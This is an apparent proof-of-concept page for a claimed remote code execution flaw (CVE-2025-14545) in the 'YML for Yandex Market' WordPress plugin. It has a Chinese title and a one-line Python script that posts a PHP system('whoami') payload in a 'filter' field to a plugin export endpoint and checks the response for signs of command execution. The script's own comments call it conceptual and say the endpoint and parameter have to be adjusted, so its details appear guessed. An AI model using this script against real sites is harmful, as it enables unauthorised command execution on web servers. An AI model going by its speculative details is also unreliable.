CVE-2025-14545: YML for Yandex Market插件远程代码执行漏洞

import requests # CVE-2025-14545 Proof of Concept (Conceptual) # Target: YML for Yandex Market WordPress Plugin < 5.0.26 # Description: Remote Code Execution via feed generation. # Note: Adjust the target URL and payload parameters based on the actual vulnerable endpoint. target_url = "http://example.com/wp-content/plugins/yml-for-yandex-market/includes/export.php" # Malicious payload to execute a system command (e.g., whoami) # The specific parameter depends on the plugin's implementation (e.g., filter or product options) payload = { "action": "y4ym_export_feed", "filter": "system('whoami');" } try: response = requests.post(target_url, data=payload, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response:") print(response.text) # Logic to check if command output is present in the response if "www-data" in response.text or "root" in response.text: print("[!] Potential RCE confirmed!") else: print(f"[-] Server returned status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")